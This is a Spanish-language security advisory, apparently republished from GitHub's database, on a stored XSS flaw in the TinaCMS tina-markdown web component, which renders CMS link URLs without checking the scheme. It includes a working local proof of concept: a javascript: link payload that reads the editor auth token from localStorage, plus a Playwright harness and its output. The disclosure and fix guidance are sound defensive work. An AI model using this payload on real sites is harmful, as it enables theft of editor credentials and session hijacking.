@tinacms/web-components: `tina-markdown` escribe URLs de enlaces de texto enriquecido en `href` sin validar el esquema, permitiendo XSS almacenado
Resumen
<tina-markdown> procesa un AST de texto enriquecido en el DOM y, para los nodos a, asigna la URL del nodo directamente al href del enlace sin verificar el esquema. Un enlace creado en el CMS como javascript:… se renderiza como un enlace javascript: activo, por lo que un visitante que haga clic en él ejecutará un script proporcionado por el atacante en el origen del sitio. Todos los demás renderizadores del repositorio ya sanean estas URL; este no lo hace.
Detalles
El sumidero no validado:
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
node.url proviene del atributo content que el sitio completa desde la API de contenido de TinaCMS (:169-176), es decir, cualquier cosa que un autor de contenido haya escrito en un campo de texto enriquecido. La llamada a DOMPurify en :68 solo gestiona valores de nodos de HTML sin procesar y retorna antes de la rama de enlaces, por lo que nunca inspecciona node.url. La línea 75 es una asignación directa de propiedad: sin analizador HTML ni saneador. El shadow root mode: 'open' (:164-167) no proporciona aislamiento de scripts.
La protección existente en los renderizadores equivalentes:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
tina-markdown.js:75 es el único sumidero de enlaces de texto enriquecido en el repositorio que lo omite: seis de siete aplican saneamiento.
Que esto es un descuido y no algo intencionado se evidencia en el registro de cambios de 0.2.0, donde se indica el objetivo de "matching the components prop on the React and Astro renderers" al tiempo que se añade DOMPurify para nodos html, mientras que packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 solo comprueba que se renderice un enlace https://example.com, sin cubrir casos de validación de esquema.
Habilitado de forma predeterminada: customElements.define('tina-markdown', TinaMarkdown) se ejecuta en el ámbito del módulo (:179); importar el punto de entrada publicado completa la configuración, sin objeto de opciones ni ajuste de saneamiento.
Corrección sugerida: reutilizar la exportación de subruta existente sin dependencias en lugar de añadir una tercera implementación:
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
Variante con la misma causa raíz y solución: :76 (img.src). Una URL javascript: no se ejecuta desde img.src, por lo que no se califica aquí, pero la línea tampoco incluye validación, razón por la cual @tinacms/astro incluye un sanitizeImageSrc independiente.
PoC
Seguro, local y no destructivo. Un servidor de bucle invertido actúa como un sitio público que renderiza texto enriquecido del CMS. La página carga tina-markdown.js byte a byte desde el checkout (empaquetado con su dependencia declarada dompurify) y expone también la función sanitizeUrl del propio repositorio para verificar la misma entrada frente a la protección canónica. Ningún tráfico sale de la máquina; la carga útil solo escribe una variable local en la página.
Entorno utilizado: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) controlado mediante playwright@1.49.0.
Configuración
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
import './tina-markdown.js'; // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;
site/index.html: el AST corresponde a lo devuelto por @tinacms/graphql para la fuente markdown [click me](javascript:…):
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
run.cjs:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
const page=await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return {hrefAttr:a&&a.getAttribute('href')};});
await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned=await page.evaluate(()=>window.__pwned||null);
const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
await browser.close(); srv.close();})();
Ejecución
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs
Salida observada (capturada textualmente)
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}
Salida vulnerable esperada: renderedAnchorHref es la cadena javascript: suministrada por el atacante sin cambios (sin validación de esquema en el sumidero), scriptExecutedOnClick es true, y capturedByPayload contiene el dominio de la página junto con el valor obtenido de localStorage['tinacms-auth'] (el script se ejecutó en el origen del sitio con acceso total de lectura al almacenamiento de dicho origen). Todo se cumplió.
Control: control_sanitizeUrl_output es "". El componente sanitizeUrl del repositorio, ejecutado en el mismo entorno de navegador con la misma clase de entrada, rechaza el esquema. Esto coincide exactamente con lo realizado por packages/tinacms/src/rich-text/index.tsx:335 y packages/@tinacms/astro/src/LinkNode.astro:19 para el mismo AST, lo que aísla el defecto en la omisión de la llamada y no en la entrada o el entorno de prueba.
Segundo control, interno al mismo archivo: un nodo html con <a href="javascript:alert(1)">x</a> es eliminado por la llamada a DOMPurify en :68, por lo que la misma carga útil entregada como HTML sin procesar se bloquea, mientras que entregada como un nodo de enlace no lo hace.
Limpieza
rm -rf /tmp/tina-tm
La PoC se ejecutó de nuevo tras redactar este informe; el JSON anterior corresponde a esa ejecución.
Impacto
Vulnerabilidad de Cross-Site Scripting almacenado mediante un esquema de URL no validado en un atributo de enlace. Un usuario cuya única capacidad sea editar contenido puede lograr la ejecución de scripts en las sesiones de navegador de cualquier visitante dentro del origen del sitio. Dado que la arquitectura documentada de TinaCMS sirve la administración desde el mismo origen (public/admin/) y almacena el token de edición en localStorage bajo tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, escrito en packages/tinacms/src/internalClient/authProvider.ts:117), un visitante que sea editor o administrador y haga clic en el enlace expondrá dicha credencial, tal como lee la PoC.
Afectado: cualquier sitio que procese texto enriquecido de TinaCMS a través de <tina-markdown>. Dicho componente existe específicamente para sitios que no usan React, es decir, despliegues que no disponen del renderizador saneado de React en tinacms.
Créditos
- Thai Son Dinh de VinSOC Labs (R&D)
Qué hacer
Actualice @tinacms/web-components a la versión 0.2.1 o superior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @tinacms/web-components | < 0.2.1 | 0.2.1 |
Referencias
- https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg
- https://github.com/tinacms/tinacms/pull/7523
- https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N- Debilidad (CWE)
CWE-79, CWE-83- Plataforma
- npm
- Paquete
@tinacms/web-components- Publicada
- 09.10.2026
- Actualizado
- 11.10.2026 10:30
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-c42q-qvc3-j6vg - CC BY 4.0
Historial de vulnerabilidades: @tinacms/web-components
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.